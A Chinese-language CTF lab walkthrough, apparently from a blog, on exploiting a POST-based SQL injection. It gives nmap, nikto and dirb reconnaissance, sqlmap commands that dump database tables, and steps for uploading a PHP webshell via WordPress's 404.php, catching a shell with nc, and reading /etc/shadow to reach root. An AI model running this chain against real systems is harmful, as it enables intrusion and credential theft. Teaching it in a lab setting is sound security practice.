天天看點

ctf—SQL注入(post)

ctf—SQL注入(post)

SQL注入漏洞介紹

​ sql注入攻擊指用使用者建構特殊的輸入作為參數傳入web應用程式,通過執行sql語句,而執行攻擊者所要的操作,主要原因是程式沒有細緻的過濾使用者輸入的資料,緻使非法資料侵入系統。

​ 任何一個使用者可以輸入的位置都可以是注入點。比如url中,以及http封包中,post傳遞的參數

1.資訊探測

掃描主機開放的全部端口

nmap -T4 -p -靶場IP

快速掃描主機全部資訊

nmap -T4 -A -v 靶場IP

ctf—SQL注入(post)

探測敏感資訊

nikto -host http://靶場ip:端口

dirb http://靶場ip:端口

ctf—SQL注入(post)

2.漏洞掃描

漏洞掃描器——Owasp-zap(功能強大,專注于web安全的漏洞掃描器)

3.漏洞利用

針對web進行漏洞掃描

對掃描的結果進行分析。注意,如果有sql注入漏洞,可以直接利用。但是掃描結果也不一定準确。

使用sqlmap利用SQL注入漏洞

sqlmap -r request.raw -level 5 -risk 3 -dbs -dbms mysql --batch

sqlmap -r request.raw -level 5 -risk 3 -D “資料庫名” -tables 檢視對應資料庫中的資料表 --batch

sqlmap -r request.raw -level 5 -risk 3 -D “資料庫名” -T “表名” -columns 檢視對應的字段 --batch

sqlmap -r request.raw -level 5 -risk 3 -D “資料庫名” -T"表名" -C“列名” -dump --batch

使用burp來抓取資料包

ctf—SQL注入(post)
ctf—SQL注入(post)

sqlmap探測

ctf—SQL注入(post)
ctf—SQL注入(post)
ctf—SQL注入(post)
ctf—SQL注入(post)

4. 上傳webshell擷取控制權

wordpress背景尋找上傳點

主題的404.php可以上傳webshell

webshell擷取 /usr/share/webshell/php/

ctf—SQL注入(post)
ctf—SQL注入(post)

上傳webshell

ctf—SQL注入(post)

上傳webshell後,

啟動監聽 nc nlvp port

啟動終端 python -c"import pty;pty.spawn(’/bin/bash’)"

ctf—SQL注入(post)
ctf—SQL注入(post)

5. root權限

使用cat/etc/shadow/ cat/etc/passwd 檢視敏感檔案

使用su- 提升root權限